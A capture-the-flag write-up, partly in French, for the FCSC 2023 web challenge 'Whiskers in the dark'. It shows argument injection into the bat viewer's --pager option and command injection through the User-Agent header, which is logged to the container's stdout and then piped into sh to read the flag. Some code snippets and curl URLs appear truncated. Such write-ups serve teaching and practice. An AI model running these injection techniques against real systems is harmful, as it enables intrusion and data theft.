title: Whiskers in the dark
date: Apr 26, 2023
tags: Writeup Web RCE FCSC2023

Whiskers in the dark

Difficulty: XXX points | X solves

Description: Tandis qu'Alice errait dans le monde magique du Pays des merveilles, elle tomba sur un chat mystérieux et énigmatique. Ses mots étaient enveloppés de devinettes qui n'avaient aucun sens pour Alice, mais elle était déterminée. Avec un désir de découvrir les secrets du chat, elle se résolut à utiliser ses compétences pour dénouer le mystère.

Source: here.

Author: BitK_

Table of content

🕵️ Recon

As the same as Tweedle Dee, this challenge is very minimalist with an empty home page.


Luckily, we also have the source code for this, making it simpler to see what we can do with this web application.

import express from "express";
import { execFile } from "child_process";
import morgan from "morgan";

const app = express();

app.set("trust proxy", true);


app.get("/fortune", (req, res) => {
  const args = ["--color", "never"].concat(req.query.f);

  if (args.some((arg) => arg.match(/[^a-z0-9.,/_=\-]/i))) {
    return res.status(400).send({ error: "Invalid filename." });

  execFile("bat", args, { cwd: "./fortunes" }, (error, stdout, stderr) => {
    if (error) {
      res.status(500).send({ error: stderr });
    } else {
      res.send({ fortune: stdout });

app.listen(2204, () => {
  console.log("App listening on port 2204!");

As we can see from the above snippet, the web application also has a /fortune endpoint which executes the batcat binary using our input as arguments. Two important things can be noticed from it:

// Working
require("child_process").execFile("ls", ["> /tmp/x"], {
  "shell": true

// Not working
require("child_process").execFile("ls", ["> /tmp/x"])

In addition, it is useless to try finding prototype pollution / poisoning issues as express use qs to parse query string which is pretty secure since version 6.10.3. So, the only way to solve this challenge seems to find a way to abuse batcat default arguments.

Finally, the final objective of the challenge is to read the content of a randomly named file inside the root folder.

RUN apk add --update --no-cache    \
    bat=0.22.1-r1               && \
    yarn install                && \
    yarn cache clean            && \
    echo $FLAG > "/flag-$(head /dev/urandom | md5sum | head -c 32).txt"

🐈‍⬛ Batcat

The batcat binary is a cat clone with a syntax highlighting and Git integration written in rust. The binary as the following possible arguments: (some parts have been retracted, full output here)

    batcat [OPTIONS] [FILE]...
    batcat <SUBCOMMAND>

    # retracted

        --paging <when>
            Specify when to use the pager. To disable the pager, use --paging=never' or its
            alias,'-P'. To disable the pager permanently, set BAT_PAGER to an empty string. To
            control which pager is used, see the '--pager' option. Possible values: *auto*, never,
        --pager <command>                       
            Determine which pager is used. This option will override the PAGER and BAT_PAGER
            environment variables. The default pager is 'less'. To control when the pager is used,
            see the '--paging' option. Example: '--pager "less -RF"'.

    # retracted
            File(s) to print / concatenate. Use a dash ('-') or no argument at all to read from
            standard input.

    cache    Modify the syntax-definition and theme cache

From the above output, an interesting argument might catch your eyes: --pager . This argument is used to define a binary which is going to be used for the batcat paging if the output is too long. In addition, the --paging {when} argument allows to define when this paging should be used. Thus, executing --pager id --paging always /etc/passwd return the output of the id command! 🎉


🩹 Fails

At this point, I thought the challenge was over since I achieved Remote Code Execution on the server, but I was mistaken! As mentioned earlier, there are many restrictions that make it impossible to exploit initially.

I believe discussing inconclusive ideas can be interesting as well, so I've written this section to list some of them.

I found an issue (#354) discussing the addition of arguments to the pager features, but as expected, it requires blocked characters to proceed further. Additionally, I discovered that --RAW-CONTROL-CHARS, --quit-if-one-screen and --no-init are added automatically if less (the default pager value) is used for the paging (ref). However, this couldn't be abused in any way.

Knowing that bash has many interesting variables and shortcuts, I tried to exploit them in some way. For example:

1) History strings concatenation (doesn't work on sh):



2) ? substitution: Although ? wasn't included in the allowed list, I searched for a character with the same behavior because it could enable me to leak the flag filename through an oracle. (I didn't find any allowed characters for exploitation)"

touch flag_aze65654aze34.txt


3) ...

Sadly, as alpine is really minimalist and only has sh, I didn't find anything that can be abused in that context of restricted characters.

I found that it was possible to use the BAT_PAGER global environment variable to change the pager binary which has to be used. Unfortunately, there is no way to set global variable as we need space to do export BAT_PAGER=ls. In addition, even if that was possible, it would break the remote instance and give the flag to anyone that trigger paging binary without specifying --pager argument. Which obviously can't be an expected solution...

An interesting aspect of paging in batcat is that it pipes the content of the file into the pager binary. So, if I could find a bash script that, for example, lists the root directory, I would be able to obtain the flag file name et retrieve its content through the /fortune endpoint. Unfortunately, I didn't find anything interesting.

This is where I lost the most of my time trying to find an interesting file in /proc/1 in which I could partially control the content via my HTTP request because sh doesn't stop when it faces invalid code.


Again, I didn't find anything until I realize that I haven't downloaded the last version of the challenge...

🚀 Docker logs to the moon

After running the new instance of the web application and accessing it, I saw the following:


Why is this game changer? Because we can abuse the way docker retrieves logs for the main environment! 🔥

How does docker's logs can be abused here?

In fact, in case of a non-interactive process such as a web server, logs might be sent into STDOUT and STDERR (ref). Because the new docker version is in this configuration, and we control some parts of the logged data, it might be possible to pipe it into sh via --pager!


As we can see from the above output, the User-Agent could be a good candidate because, escaping the double quote context would result in a valid sh instruction!

curl -H 'User-Agent: ";id;"' "http://localhost:2204/"


💥 Exploit summary

Sadly, the remote instance doesn't have internet and the docker is started in read-only mode... Therefore, even if a docker is in read-only mode, processes need to have shared writable memory to communicate. On linux, a special folder exists for this: /dev/shm (more details here).

Thus, if we sum up, the final exploit should look like this:


🚩 Retrieving the flag

# Setup a thread waiting for docker logs
curl '[]=--pager&f[]=sh&f[]=--paging&f[]=always&f[]=/proc/1/fd/1' &

# Send several request with the command to execute
for i in {1..10}; do curl -H 'User-Agent: ";cat /flag* > /dev/shm/x.txt;"' "" > /dev/null; done

# Retrieve the flag
curl ""

Flag: FCSC{3304136851549bd73b64d4f2e86a7bd18e290d510220752ab2b061e591c2911c}

🙏 Acknowledgements

I would like to thank the person responsible for the CTF infrastructure who added the morgan library to the web application. Without it, it would have been impossible to exploit the docker logs 💙